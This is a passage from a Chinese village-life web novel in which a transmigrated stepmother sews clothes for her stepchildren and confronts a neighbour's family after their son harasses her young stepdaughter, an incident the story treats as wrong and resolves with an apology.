玉秀点头:“对!气死她们!” 玉秀指了指南屋那边,撇撇嘴:“三嫂今天还在地里到处说你坏话。” 谢晚棠耸肩:“哦?说我什么?” 玉秀啧了声:“说你刚分家就不知道过日子,把分家的鸡都杀了吃了,这样家里就是守着金山银山都不够你霍霍的。” 谢晚棠摊手:“没办法啊,谁让分家分给我们一只下不了蛋的老母鸡,我们就只能吃肉咯。” 谢晚棠把老三和老三媳妇昨晚过来蹭吃蹭喝未遂的全过程给玉秀讲了讲,玉秀一开始听得要发火,听到最后噗嗤一声笑了:“俺青山哥还怪厉害,三句话就把三哥三嫂打发了。” 玉秀把三哥三嫂这些年去他们家占便宜的事一一给谢晚棠讲了,“俺三哥三嫂最爱贪小便宜了,贪不着就出去臭哄人,俺爹俺娘要面子,不跟他计较,他就越来越过分,幸好有二哥收拾他,真解气!” 谢晚棠才无所谓:“臭呗,我又不会掉块肉。” 玉秀特别喜欢嫂子的性格,根本不在意别人怎么说,村里的风言风语一点都不会影响她! 谢晚棠一边裁衣服,一边和玉秀闲聊家里的事,聊到分家的时候,突然想起支书傅余年那迷恋的老烟枪样。 谢晚棠正色:“玉秀,你得回去管管你爹,他这么抽烟可不行,以后很容易得肺癌!” 玉秀也不喜欢她爹抽烟,呛得要死,但她有点听不明白:“嫂子,肺癌是什么?” “呃……就是肺上长癌细胞。” “癌细胞是什么?” 这还真有点把谢晚棠难住了,21世纪谈癌色变,几乎人人都清楚癌症的可怕,但还真说不出来癌症的概念。 谢晚棠想了想,尽量通俗地给玉秀解释:“就是抽很多烟,把肺都染黑了,然后坏掉的肺就会滋生出来恶性的坏东西,让肺彻底坏死,就不能好好喘气了,而且这些坏东西还会像杂草一样到处蔓延着长,会把肚子里的五脏六腑都感染坏,那人不就不行了?” 这下玉秀算是听明白了,原来抽烟不光呛人,还要命! 玉秀震惊之余又有点不敢相信,毕竟从来没听过:“嫂子,那你是怎么知道的?” 谢晚棠搬出她的法宝:“收音机里讲的,北京大医院的大夫讲的,还能有假?” 玉秀一看那么贵的收音机,瞬间没有任何质疑:“那肯定不能!我回去就让我爹戒烟!” 看玉秀重视,谢晚棠放下心来,支书和大娘一家子都是好人,好人就该长命百岁才是。 谢晚棠裁完,用缝纫机很快就跑好了。 斜扣也是红色、藏青、白色三个颜色搭配,不过玉秀这身衣服上下一身都是藏青色,只三个扣子提色总感觉还差点什么,谢晚棠想了想,又在两边袖口处加了两颗装饰的红色圆布扣点缀,看起来就自然多了。 谢晚棠关上门去当门,玉秀在里间试,不一会玉秀打开门,一笑露出来两个小虎牙:“嫂子你看!” 谢晚棠坐在板凳上,闻声转身,玉秀白皙圆润的脸蛋被一身慵懒的藏青休闲服衬得格外水灵好看,几颗亮色扣子是点睛之笔,衬出年轻姑娘的朝气和活力。 谢晚棠满意点头:“好看的。” 玉秀穿上都不想脱了,嘿嘿笑着:“我直接穿回去给我娘看看!” 顺便路上也美一美! 快晌午了,玉秀要回去,谢晚棠拿碗给她盛碗鸡肉带回去给大爷大娘,结婚的时候大娘就主动去她家帮忙,分家的时候大爷又非常公正,今天玉秀还捎过来那么多菜,她发自内心非常感激这一家人。 玉秀说什么也不要:“不行,你们家孩子多,这都不够吃呢!我要是拿回去,我娘肯定得骂我不懂事,嫂子你肯定不舍得我被骂吧!” 说着玉秀吐吐舌头,一溜烟跑到院子里。 他们家孩子确实是挺多,玉秀都这么说了,谢晚棠也没再强给,把玉秀送到大门口:“玉秀,再来啊。” “回去吧嫂子!” 快到饭点,谢晚棠也烧火热上饭。 昨晚跟傅青山学习了烧火的技巧后,今天轻轻松松就点着了,配合着风箱,居然一点都没有倒烟! 物理果真诚不欺我啊! 饭热得差不多了,大刚兰兰和二刚也回来了,小刚和妞妞去玉秀家看小狗还没回来。 谢晚棠对大刚道:“去玉秀姑姑家找找弟弟妹妹,是不是看小狗看入迷了。” 大刚虽然没说话,但听完转头就出门去找弟弟妹妹了,二刚闲不住,跟上大哥一块去了。 家里剩下她和兰兰两个,兰兰不说话,甚至避开和她视线接触,自顾自地洗手、搬桌子、拿碗筷。 谢晚棠刚用布垫着盆边把饭从锅里端出来,就听到大门响,偏头一看—— 大刚一脸怒气,二刚嘴里嘟嘟囔囔不知道在说什么,妞妞抹着眼泪哭着跑进来,小刚跟在后边追。 妞妞直接跑进炕那间,谢晚棠不明所以,端着饭跟过去,就看到已经已经爬上了炕,扯过晚上盖的单层绵单整个把自己全蒙住,小小的一团缩在大炕的一小角,棉单上凸起的小蘑菇一抽一抽的。 不是去看小狗吗?怎么看哭了? 谢晚棠把烫手的盆放炕桌上,看了眼兰兰,兰兰跟她一样不知所措。 谢晚棠回头,看到三个刚进来:“妹妹怎么哭了?” 第22章 你个后妈在这装大鼻子葱! 大刚冷着脸,视线紧紧盯着炕上蒙在被子里哭的小妹。 二刚摇头:“我们在路上碰着妞妞和小刚,妞妞就哭着往家跑。” 大家全都看向小刚,小刚一路小跑回来,气这会才喘匀,也顾不上冷战,仰头看着谢晚棠,跟家里唯一的大人告状: “我们从玉秀姑姑家回来的时候,路上碰到小顺子和他弟弟宝根,就玩了一会儿,妞妞跑的时候摔倒了,从地上爬起来的时候,裤子挣开了,宝根就笑妞妞的腚像鸡蛋一样白,还伸手摸妞妞的腚,妞妞不让他摸,我不让他动妞妞,他就把我推倒,然后就非要摸,妞妞就哭了。” 谢晚棠真是听得拳头都硬了,没家教,女孩子的屁股也能随便摸?! 小刚刚说完,大刚猛得转身出了炕间,谢晚棠反应过来大刚要去干嘛,赶紧跑出去追,追到大门口一把拉住大刚的袖子,“你别冲动!” 大刚虽然只有13岁,但是已经比谢晚棠高出了半头,黝黑的皮肤下一身结实的肌肉,手上用力一挣,谢晚棠吃不住劲,左肩膀一下子撞在门上。 大刚是家里男孩里最大的,因为没了亲生父母,他对弟弟妹妹的保护欲非常强,最宠的小妹被人欺负了,他本就暴戾的性子就像炸弹被点燃了引信,一发不可收拾。 书里大刚就因为这个暴戾的性子惹过不少事,光进局子就进了好几次。 谢晚棠眼看大刚像箭一样冲出去没了人影,她又不知道宝根家在哪儿,回头对站在家门口的三个孩子道:“小刚留在家照顾妹妹,二刚跟我去宝根家,兰兰去玉秀姑姑家找支书来宝根家!” 情况紧急,几个孩子也心里发慌没底,听完谢晚棠吩咐,下意识马上去做。 二刚天天在外边蹿,腿脚快,谢晚棠怕大刚惹出事来,跟着二刚跑得上气不接下气也不敢停,体力濒临枯竭边缘的时候,就看到前边十几米远的土房子前围了一群人,探头探脑地往里看,里边不时传出来女人尖锐的咒骂声。 “这就是宝根家!”二柱指指前边。 谢晚棠推开看热闹的人群挤进去,就见大刚正跟一个和傅青山差不多结实黝黑的中年男人抱在一起扭打,大刚虽然比同龄人结实,但毕竟是个孩子,跟常年干农活的男人没法比,嘭一声被男人压倒在地上,后背结结实实着地。 旁边的妇女怀里搂着个比小刚还大一点的胖男孩,看大刚被压制,恶狠狠地骂道:“敢跑我们家来打宝根,大水给我往死里揍这臭小子!” 眼看结实的男人高高抬起右拳,要朝大刚的右脸颊砸去,谢晚棠大喊一声:“住手!” 骑在大刚身上的男人被呵住,拳头停在半空中,闻声偏头看向谢晚棠,谢晚棠一路跑过来,脸上原本白皙的皮肤因为充血而泛着粉,看谢晚棠朝他们走近,男人一时看愣了。 趁男人走神的瞬间,大刚抓住时机,生猛的一拳直接带风似的砸到男人右脸上,男人一个不注意,直接被掀翻在地,大刚趁机爬起来摆脱了压制。 “刘大水,看漂亮女人看傻眼了,挨揍了吧!”外边围观的人不知道是谁奚落地喊了一嗓子,大家都跟着笑起来。 刘大水脸疼又被奚落,气得又要冲上去揍大刚找回面子,大刚也一副天不怕地不怕的样子要迎上去。 眼看两人又要打起来,谢晚棠一步走到大刚身前,挡在大刚和刘大水中间:“都给我住手!” 谢晚棠话落,带风的拳头擦着她的嘴角停下,谢晚棠吓得下意识闭上眼睛。 她不是不害怕,只是刚才下意识的反应就冲上来了。 刘大水的老婆看自己男人不仅停下了,还对着谢晚棠第二次移不开眼睛的样子,气得上来叉着腰指着谢晚棠的鼻子骂:“你个贱人,跑到别人家里来勾引男人!是不是你男人不行啊,喂不饱你,让你出来对着谁都发骚!” 谢晚棠是来解决孩子的问题的,但也不耽误收拾嘴臭的孩子妈。 外边一群围观的人里不少妇女嘁嘁喳喳,谢晚棠笑看着刘大水老婆:“我是脱衣裳了还是说骚话了?我就站在你男人面前,喊一句住手,就把你紧张成这样,你是对你的男人没信心,还是觉得自己人老珠黄没自信啊?” 刘大水老婆被怼得怒目圆睁,“你说谁人老珠黄!” 谢晚棠:“反正不是我。” 刘大水老婆气得伸手就要推谢晚棠,结果被谢晚棠身后的大刚一把推开,差一点跌坐在地上,气得直接开始嚎,骂刘大水眼瞎了不给她出头…… 刘大水闻言抬眸看谢晚棠,谢晚棠扬起下巴,迎上他的视线,刘大水最后也没替老婆出头,他老婆气得爬起来直打他。 她只是说一句人老珠黄刘大水老婆就受不了,那怎么不换位思考一下,张口就骂别人发骚发贱勾引男人别人对别人是什么影响。 典型的严以待人,宽于律己。 在刘大水老婆的嚎声中,支书傅余年过来了,兰兰、傅大娘和玉秀跟在后边。 刘大水老婆一看支书过来,哭嚎得更甚:“支书,你可算来了,你可得给我们做主啊!大刚一来就要打我们宝根,谢晚棠还勾引我男人——” 傅余年没理刘大水老婆,抬眸扫了一眼刘大水和大刚嘴角鼻梁上的伤,皱眉,回头扫了一眼门口围观的社员:“都回去吃饭困觉,下午不上工了?!” 把看热闹的社员赶走,傅余年瞥了一眼刘大水老婆,看她又要嚎,沉声道:“进去说,在外边闹也不嫌丢人!” 刘大水老婆跟着进了屋,还在说谢晚棠勾引她男人。 傅余年看了眼红着脸不说话的刘大水,又看了眼坐在炕前的椅子上一脸正色的谢晚棠,不耐地咳嗽一声,止住刘大水老婆的絮叨: “行了!上上个月你说王寡妇勾引刘大水,上个月你还说胡知青勾引刘大水,这又说谢晚棠勾引刘大水,你家刘大水一个二婚老男人,你以为是什么抢手货?” 刘大水:“……” 傅大娘闻声没忍住,噗嗤一声:“就是,除了你没人要!” 刘大水面上尴尬,一时没敢再叨叨这事。 兰兰路上就把宝根摸妞妞腚把妞妞弄哭了,大刚找来宝根家的事跟傅余年说了,傅余年刚吃了两口饭就赶过来了,也不跟刘大水两口子叨叨些没用的,直奔主题,把宝根干的事一五一十地说了。 刘大水老婆一听:“就为这点事大刚就跑来要打我们宝根?!” 谢晚棠闻声啪得拍着炕席站起来:“这不算大事,什么算大事?从小手贱不管,是打算长大了直接当流氓?” 刘大水老婆一听谢晚棠说她的宝贝儿子是流氓就急了:“我们宝根怎么就是流氓了?摸个小女娃的腚怎么了,小孩知道个啥?!” 本来谢晚棠一拍炕席怒视过来,宝根吓得缩在他娘怀里,一听他娘给他撑腰,又大起胆子来:“就是,我爹也摸我娘的腚!” “……” 屋里半晌鸦雀无声,刘大水老婆反应过来后,一把捂住宝根的嘴,低声呵斥:“你瞎说什么瞎说!” 宝根被捂着嘴还争辩:“本来就是!我都看见过很多回!” “……” 谢晚棠看向刘大水老婆:“照你这么说,要是宝根摸我们妞妞不算事,那是不是谁摸你的腚也都不算事?” 刘大水媳妇说别人厉害,一下子被儿子说出来夫妻俩背后那点事,脸涨得通红,瞪着谢晚棠,“你这叫什么话!” 谢晚棠也沉下脸来:“跟你学的,不讲理的话。怎么,你说别人行,别人说你就听着不舒服了?孩子虽然小,但模仿能力强,你们大人在家里不注意言行,让孩子学上些坏习惯,不但不及时教育,还歪曲事实给孩子找补讲歪理,这不是助长歪风邪气是什么?” 父母溺爱孩子,在家里不舍得教育,将来就要被社会教育。 刘大水老婆被怼得说不上话来,半晌憋出来一句:“你个后妈在这装大鼻子葱!傅青山又不在,你装给谁看啊!” 刘大水老婆说话难听,傅大娘听不下去:“让你管你自己的孩子,跟人家是不是后妈有什么关系!再说了,你自己也是后妈,你平日里在大水面前对小顺子都是装的呗!” 刘大水老婆当面一套背后一套拿小顺子不好,村里妇女都知道,就刘大水那个傻子爹被蒙在鼓里,傅大娘也是点刘大水呢。 刘大水老婆被噎得没话说,耷拉着个脸,弄出一副被欺负了的受害者样。 谢晚棠没吃午饭,饿得胃都难受了,也懒得多叨叨,直接提要求:“刘宝根必须来我们家给妞妞认真地认错道歉,并保证以后绝对不会再有这样的言行!” 刘大水老婆一听还要宝贝儿子去认错道歉,立马道,“那大刚还打人你怎么不说?” 谢晚棠:“大刚先动手有错,但万事有因才有果,是刘宝根先欺负了他妹妹,他才会来,而且刘大水也没少回手,虽然大刚先动手,但伤得比刘大水重得多,真要追究起来,法律上他也得是个防卫过当!” 听到谢晚棠说还要追究什么法,刘大水听不大懂,但是一下子紧张起来,他刚才确实是下了死手。 刘大水老婆胆子大不信:“你瞎说,你懂什么法!” 玉秀哼了一声:“青山哥结婚的时候给我嫂子买了收音机,收音机都有讲!是你什么都不懂!” 傅青山给谢晚棠买了三转一响的彩礼,是下沟村头一份,没人不知道,刘大水老婆一下子气势就弱了,但还是不舍得自己的宝贝儿子去低头认错,撇撇嘴道:“摸了就摸了,大不了以后让俺们宝根娶了妞妞就是了。” 谢晚棠:“……” 谢晚棠是真想把她的皮燕子缝起来! 大刚气得又要撸袖子上了,谢晚棠一把拦住他,沉声对刘大水老婆道:“收起你的白日梦,别来恶心我们!” 谢晚棠多看她一眼都觉得膈应,对傅余年道:“支书大爷,我的要求已经说得很清楚了,孩子在家还没吃饭,也耽误您和大娘吃饭歇晌了,既然他们家听不进去,就等晚上孩子他爹下班回来处理吧。” 傅余年点点头,谢晚棠就带着三个孩子走了。 大刚眼角嘴角都是青紫一片,嘴角甚至有血珠子冒出来又凝固住,一张脸整个没法看了。 大刚发现不是回家的路,拧眉:“走错了。” 谢晚棠回头看他:“先去赤脚大夫家看看你的脸。” 大刚一听,语气又臭又硬:“我没事!” 说完扭头就要回家,一米七的个子,一米八的反骨,谢晚棠一下就火了:“我看你敢走!” 谢晚棠平时看起来笑呵呵的脾气好,偶尔一冷下脸来,让大刚一激灵,一下子想起那晚的批斗会上,谢晚棠在台上批斗亲爹时狠厉无情的样子,就跟现在一个表情。 大刚脚像被胶粘住,愣是走不出去了。 谢晚棠说完也不看他,继续往前走,兰兰看他一眼,拽拽他袖子,二刚也拉他,大刚就稀里糊涂地跟着来了赤脚大夫家。 赤脚大夫给涂了药,又把药给谢晚棠,让回去每天换药。 大刚回去的路上还一脸不服,嘴里嘟囔着这点小伤还用得着看大夫了?! 谢晚棠猛得停住,大刚嘟嘟囔囔的没注意,差点撞她身上。 谢晚棠一回头又看到他脸上青紫一片,原本俊俏的小脸直接成了大花脸,她嗷嗷喊着别冲动别冲动,还冲过去让人一顿揍,看着实力悬殊还瞎往上冲!不长脑子就气人! 谢晚棠越想越气,瞪他一眼,大刚心里一激灵,嘟嘟囔囔了一路的嘴终于闭上了。 回去路上没人说话,到家妞妞已经从被单里出来了,围着被单坐在炕上,虽然不哭了,但眼睛还通红,小刚也脱了鞋上炕,跪坐在对面,努力说话哄妹妹。 桌上的饭都放凉了,二刚和大刚抱进来草烧火,兰兰把饭重新端下去热,谢晚棠打开炕上的小柜翻翻找找一顿也没找到妞妞的换洗衣裳。 这年头布料缺,农村孩子一年到头就一身衣裳的也有的是,冬天续上棉花,过完冬把棉花拆了单穿。 不过,傅青山挣得不少,布票也不少,按理说家里不该做不起衣裳,而且她结婚那晚和昨天一早两次见老大老三家的孩子,那几个孩子的衣裳可是换过的,说明不止一身。 没娘的孩子没人疼,更何况还不是自己家的孩子。 就算他们一家子都花着傅青山挣的钱,也没有心对傅青山带回来的几个孩子。 谢晚棠一想到分家的时候傅青山挣的钱没便宜了他们,就觉得解气,一群没良心的东西! 饭热好了,谢晚棠也没找到裤子给妞妞换,就先从柜子里拿了块没裁的布料,给妞妞围在屁股上,让她不至于穿着露屁股的破裤子不愿意从棉单里出来吃饭。 一顿饭吃得安安静静,倒不是因为之前的冷战,而是谁都没心情说话。 中午去宝根家耽误了工夫,吃完饭收拾完桌子,也没工夫歇晌了,上工的上工,上学的上学。 妞妞裤子破了,也不能出去玩,两个小孩安安静静地待在炕角,可怜兮兮的。 谢晚棠叹了口气,从新买的大衣柜里拿出来之前做衣服剩的晴蓝色布料,铺开在炕上裁,裁好又用缝纫机跑线,不过半个多小时,一身小衣服就做好了。 谢晚棠摘了摘线头,又缝上扣子,起身走到炕边,朝妞妞招手:“妞妞,过来试试。” 妞妞小小的一只坐在炕角,小手攥着棉单,大眼睛眨巴眨巴,不知所措地看着她。 谢晚棠放软了声音,晃晃手里的小褂子和小裤子:“新衣裳,给你做的。” 妞妞抿唇看着她手里漂亮的新衣裳,眼睛亮起来,半晌终于小心翼翼地爬过来。 谢晚棠看了一眼小刚:“我们女孩子要换衣服了,男孩子该出去了。” 小刚麻溜爬下炕:“我去看看小鸡。”出去的时候还带上了门。 妞妞站在炕上,谢晚棠给她把旧衣裳换下来,瘦小的身体一共也没几两肉,谢晚棠记得堂姐家的小孩这么大的时候,肉嘟嘟的老可爱了。 谢晚棠忍不住心里又把那一家子黑心东西拉出来骂一遍! 妞妞换上一身清亮的晴蓝色新衣裳,让人眼前一亮,谢晚棠笑起来眉眼弯弯:“我们妞妞真好看!” 小孩子只是小,不是傻,妞妞虽然才5岁,也知道新衣裳好看。 而且,从她记事开始,她就没穿过新衣裳,奶奶都是把小刚穿不上的给她穿。 如今穿着崭新崭新的好看新衣裳,妞妞高兴得都不知道该怎么办了,小手小心翼翼地捏起来衣角看,生怕把新衣裳弄脏了。 哭了一中午,小脸都哭花了,谢晚棠出去用井水打湿手巾拧干,给妞妞把小脸小手都擦干净。 妞妞的头发也哭乱了,妞妞其实发质很好,黑黑软软的特别顺滑。 谢晚棠拿过剩下的布料,几下剪出两个蝴蝶结,重新坐回去用缝纫机跑成头绳,跑完起身回头,就看到妞妞坐在炕沿下,好奇地探头看她手里的蝴蝶结。 谢晚棠笑着拿过来梳子,让妞妞侧坐,把头发先松开梳顺,然后从中间分开,一边梳了一个小辫子,辫尾用刚刚做好的晴蓝色蝴蝶结头绳绑好。 看着在自己手下成功变身的干干净净的小姑娘,谢晚棠心情大好,有一种玩现实版奇迹暖暖的奇妙感觉,拿过镜子给妞妞照。 妞妞看到镜子里的自己,一边一个小辫子,梳得整整齐齐,还有两个特别漂亮的小蝴蝶,太好看了,她简直不敢相信自己的眼睛。 看着小姑娘开心,谢晚棠心情也敞亮了:“妞妞喜欢吗?” 妞妞闻声仰头看她,谢晚棠从妞妞水汪汪地大眼睛里看到了自己的身影,下一秒,妞妞用力点头:“喜欢!” 谢晚棠笑:“那我们出去让小刚哥哥看看好不好?” 妞妞点头,谢晚棠拿过妞妞的鞋,也是双打着补丁的小男孩鞋,都快露脚指头了,谢晚棠回想薛桂花是怎么做鞋的,计划着一会儿再给妞妞做双新鞋。 妞妞自己穿上鞋爬下炕,哒哒哒走到家门口,稚嫩的童声叫了一声“小哥”。 小刚闻声回头,蹲在鸡窝前看着焕然一新的妹妹,眼珠子都快瞪出来了! 这个漂亮得像小仙女的小孩还是他妹妹吗?! 小孩子的快乐很简单,兄妹俩一扫之前的阴霾,拉着手在院里玩小鸡小鸭。 谢晚棠回屋里拿过妞妞换下来的裤子看了看,深灰色土布不仅掉色掉得灰突突的,还一身补丁,而且穿久了,本就不结实的土布已经乏得不行了,怪不得妞妞会不小心挣开**。 完全没有补的必要,谢晚棠直接打入抹布行列,打开柜子找料子研究着给妞妞做双新鞋。 缝纫都是相通的,她传过来的时候看过薛桂花做鞋,方法步骤倒是会,就是做鞋得手纳,她手上活没薛桂花那么熟练,不过磕磕绊绊半天,也成功做出来一只。 谢晚棠出去叫妞妞进来试试大小,确定没问题再做另一只,做鞋方面,她还是不太自信。 鞋容易脏,谢晚棠就用之前她做衣服剩的藏青色土布做的鞋面。 妞妞没想到还有新鞋,乖乖地爬上炕坐好,自己穿上,谢晚棠试了试脚前头,还有半指富余,应该没问题。 “起来在炕上走走试试,跟不跟脚? 妞妞听话地站起来试,走了几步,新鞋很舒服,“跟脚。” 谢晚棠放下心来,继续做另一只,两个小孩也不出去玩了,就坐在炕上,乖乖地看她做鞋。 第一次做不熟练,花了接近两个小时才做好,妞妞穿上新鞋,配着新衣服,在炕上像一只小蓝精灵,咯咯咯笑着转圈。 小刚坐在旁边给妹妹鼓掌,既为妹妹开心,弯弯的小眼睛里也充满了羡慕。 谢晚棠翻了翻柜子里所剩不多的布料,除了一块白色就是一块藏青,颜色都不是很适合男孩子。 谢晚棠把藏青布料拿出来:“先给小刚做双鞋好不好?等着我去镇上买了布,也给你做新衣裳。” 小刚没想到他没露腚也没哭,居然也可以有新衣裳新鞋!小鸡啄米似的点头。 谢晚棠给他量完脚长开始做,他就跟在旁边,眼睛一眨不眨地看着。 有了第一双的经验,做第二双就快了很多,缝完最后一针锁线的时候,大门响动,谢晚棠探头一看,是傅青山推着自行车回来了。 妞妞一看到傅青山,手脚并用地爬下炕,穿上新鞋冲出去,跑到傅青山身边仰着头,被暖洋洋的夕阳照得睁不开眼,笑眯眯道:“爹!我有新衣裳和新鞋了!” 妞妞一身晴蓝色小衣裳很合身,新鞋新衣服新头绳,看起来干干净净的,人都漂亮了三分。 这身衣服傅青山很眼熟,谢晚棠就有身这样的,完全就是那身的缩小版,一看就是谢晚棠做的,她自己像个漂亮的胡蝶,给他的女儿也打扮得像个小蝴蝶。 傅青山看着干净漂亮的小女儿,风尘仆仆一路从镇里骑回来都不觉得累了,“好看,谢谢你娘了吗?” 妞妞闻声抿唇,被爹一提醒有些懊恼地摇了摇头。 傅青山没责怪,只是摸了摸妞妞的头。 妞妞跟哥哥姐姐不一样,她不到一岁爹娘就都没了,从记事以来她的生活里就没有娘只有爹,她也从来没叫过娘。 听爹爹说完,妞妞一下子就想到那个给她忙碌了一过晌的好看身影,除了爹和哥哥姐姐,从来没有人对她这么好过,奶奶和三婶都说后妈不好,可这两天,她真没觉得后妈哪里不好,不仅不骂她,做了好吃的还让她吃,还给她做新衣裳新鞋,一会儿她一定要跟娘说谢谢! 父女俩刚走进院子,小刚兴冲冲从屋里冲出来,抬起一只脚对傅青山喊道:“爹!你快看!!娘给我做的新鞋!!!” 傅青山和妞妞闻声抬头,就看到小刚高兴地展示自己的新鞋,谢晚棠在后边笑呵呵地摸了摸小刚的圆寸。 妞妞……!! 她还没来得及叫娘,就被小哥抢了先! 娘第一个给她做漂亮衣裳,可她却不是第一个叫娘的!娘会不会以后都不喜欢她了?! 第23章 压在他大腿根,还舒服得蹭了蹭。 妞妞松开傅青山的手冲上去,仰头看着谢晚棠,神色诚恳郑重:“娘!你给我做新衣裳辛苦了!” 小刚闻声也学着妹妹回头笑看着谢晚棠,掷地有声:“娘!你给我做鞋也辛苦了!!!” 妞妞想比小哥多一点感谢娘,因为娘给她做的比给小哥做的多,踮着脚着急道:“娘!谢谢你!” 小刚好像一个复读机:“娘!谢谢你!!!” 妞妞:“……” 下工下学回来的兰兰和大刚二刚一进大门口刚好看到这一幕,面面相觑,都是一脸懵逼。 他们就出去了三四个小时,小弟小妹怎么就争先恐后地抢着喊娘了??? 眼神看起来还都那么亲昵! 谢晚棠没想到两个小孩居然这么知道感恩,不过是小衣*服小鞋的,而且花的都是傅青山的钱,她只是举手之劳,两个小孩居然因此就对她这么亲近,还叫她娘。 谢晚棠母胎单身,虽然和表哥堂姐家的外甥侄女玩得也多,但毕竟自己没有过孩子,如今被两个可爱的小豆丁眼巴巴地追着叫娘,心里说不出是个什么感觉,反正就也……挺奇妙的? 谢晚棠也摸了摸妞妞顺滑整齐的发顶,坦然地接受感谢,笑道:“不客气哦~也要感谢你们爹呀,是他辛苦挣钱,我才能给你们做漂亮衣裳。” 虽然他们是合约婚姻,但孩子们并不知道,谢晚棠觉得不止要生活上做后妈,还要营造和谐的家庭关系,包括夫妻关系和亲子关系,让孩子有一个健康的成功环境。 妞妞和小刚俨然已经化身谢晚棠的铁杆小粉丝,闻声齐齐过去对傅青山说“爹上班辛苦了!” 倒弄得傅青山一时间不知所措起来,那表情就差来一句“不辛苦,为人民服务!” 二刚探头过来打量崭新的妹妹:“鸟枪换炮啊!!!” 小刚不懂鸟枪换炮什么意思,抬起自己的新鞋纠正:“是新鞋换旧鞋!” 二刚虚岁也不过才刚10岁,看着弟弟的新鞋,馋得眼珠子直转,他虽然是个大野驴,但也知道新的好看啊! 但是刚才进门的时候听着小弟小妹都在叫“娘”,是叫“娘”才能有新衣裳新鞋? 二刚犹豫了下,又回头看哥哥姐姐,见哥哥姐姐都不为所动,他咬牙忍住心中对新衣裳新鞋的渴望,强迫自己坚定战线! 他是大孩子了,不能像小弟小妹似的,被漂亮衣裳就诱惑着倒戈叫娘了! 对!坚决不可以! 他绝对不当蒲志高! 虽然他很馋!很馋! 一家人难得的温情欢乐时刻,被讨厌的人打断。 刘大水老婆带着儿子宝根,跟着妇女主任刘秀香过来了。 大刚回来看到妹妹穿着新衣裳好看又开心的样子,郁郁了一下午的烦躁情绪才消散一些,一看到宝根又恨得牙痒痒,恨不得踩烂他的臭手,把他揍成个猪头! 不过下意识看了一眼谢晚棠和爹,他勉强忍住了动拳头的冲动。 傅青山闻声回头,视线先在大刚鼻青脸肿的脸上停留片刻,眉头皱了下,有外人在没问,又看向刘秀香和她身后的母子俩。 “刘主任,有事?” 刘秀香给刘大水老婆做了半下午的思想工作,一开始刘大水老婆还不服气,觉得就是小孩子之间玩闹而已,谢晚棠太小题大做。 刘秀香越是劝,刘大水老婆越拿出来那个嘚瑟样子,好像都在这求着劝她似的。 刘秀香一堆事要忙,懒得费唾沫,直接跟刘大水老婆说,要么按谢晚棠要求的去上门认错道歉,又不会掉块肉,人家要的就是个态度。 要么就等傅青山回来该怎么办就怎么办吧!以傅青山那个性子,送镇派出所也不是不可能,到时候十里八村都知道你儿子宝根从小就摸人家女娃腚,以后看谁家的闺女还愿意嫁给宝根! 孰轻孰重,自己掂量去吧! 刘秀香说完就要走,刘大水老婆一看刘秀香真不搭理她了,急得赶紧抓住刘秀香:“主任主任,那就去道歉就是了,你带我们去呗!” 一想到那对夫妻,一个嘴上不饶人,一个看起来就不饶人,刘大水老婆想想就不敢自己去。 傅青山把自行车支好,虽然不知道是什么事,但从刘大水老婆孩子进门那一刻开始,谢晚棠脸上笑意全无,傅青山都看在眼里。 刘秀香看谢晚棠和几个孩子的表情,也知道他们都厌恶宝根母子俩,刘秀香也理解,别说人家是受害者,就是她这个妇女主任都烦这些不讲理的人。 不过隔墙有耳,为了妞妞,刘秀香还是提议进屋去说。 说到妞妞,刘秀香刚才进门的时候就眼前一亮,还以为自己看错了,原本妞妞总是穿着哥哥穿下来的破衣裳,看着有些邋遢,如今一身清亮天蓝色的小衣裳一打扮,还怪好看的。 不过因为宝根母子的到来,妞妞原本开心的情绪被打破,中午那些不愉快又涌上心头,她耷拉着脑袋,靠在谢晚棠腿边。 刘秀香走过去摸了摸妞妞的头:“妞妞穿新衣裳真好看!” 妞妞仰起小脸看看她,又偏头看看谢晚棠,特别乖的小宝贝样对她道:“我娘给我做的。” 刘秀香一怔,没想到孩子这么快就叫谢晚棠娘了。 小刚闻声马上也抬起脚给她看:“秀香姨!我娘也给我做鞋了!我娘说等着还要去扯布给我也做新衣裳!” 刘秀香是妇女主任,看到后妈和孩子相处好的画面她自然是高兴,闻声也摸摸小刚的头:“这么好啊,那小刚以后要听娘的话呀!” 小刚拍拍胸脯:“我最听话了!” 妞妞看着秀香姨和娘都特别喜欢小哥,心里说不出是什么滋味,小哥对她很好,小哥被喜欢她应该很高兴的,但她也控制不住地想让自己跟小哥一样被喜欢。 进了屋,刘秀香坐下,谢晚棠揽着妞妞坐在另一边,傅青山没坐,站在谢晚棠旁边,刘大水老婆和宝根站在炕前。 傅青山刚回来,谢晚棠还没来得及把中午的事告诉他,听刘秀香大概讲了事情的前因后果,本就冷峻的脸色瞬间阴沉下来,如暴风雨来临的前兆。 原本还在家耍赖发脾气一肚子不情愿的宝根一对上傅青山的视线,哪里还敢有一丝嚣张,吓得脖子都缩进去,那胖脸直接坐在肩膀上,就像平地多出来个地雷。 刘大水老婆也被傅青山周身阴冷的气息摄住,虽然她男人刘大水身形跟傅青山差不多高,也挺结实的,不过跟傅青山一比可差远了。 傅青山毕竟是部队里历练过的,冷眼看过来时那种窒息的压迫感压得刘大水老婆犹在冰窟,也不敢表现出来一点不情愿,推推吓哑巴了的宝根:“还不快给妞妞认错!” 宝根吓得腿肚子都哆嗦,低着头,声如蚊讷:“妞妞,对不起……” 谢晚棠皱眉:“蚊子叫呢,听不见。” 虽然傅青山进屋以后一句话都没说,但他只站在这,就给人无形的压力,如山一般,刘大水老婆一点没了中午的气焰,拍了一把宝根的胖膀子:“大点声!在家的本事呢!” 宝根吓得下意识大喊:“妞妞,我错了!” 谢晚棠仍不饶过,揽着妞妞给她力量,质问宝根:“错哪儿了?” 宝根哆哆嗦嗦:“我,我不该摸妞妞的腚。” 宝根说完,傅青山手里拿的钥匙啪得一声拍在桌子上,吓得宝根直接尿了裤子,不大的炕间瞬间一股尿骚味。 刘秀香:“……” 就这么点出息,窝里斗的本事,出来就怂了! 小刚不满意:“他还嘲笑妞妞!” 刘秀香闻声补充道:“对,不仅不能摸人家女娃的腚,其他部位也不行,也不能随口就嘲笑人,知道了吗?” 宝根哪还敢说一个不字,刘秀香说什么他就狂点头。 谢晚棠之所以为难一个孩子,就是要让他记住这害怕、惊恐又难堪的记忆,以后再要做不该做的事的时候,想想之前的教训。 屋里被宝根的尿骚味熏得要命,刘秀香咳了声,对刘大水老婆厉声道:“回去以后好好管教宝根,再不许干这样的事。” 刘大水老婆闻声猛点头,一点没了下午跟刘秀香狡辩的滑头样,只想赶紧逃离这里:“是是是!” 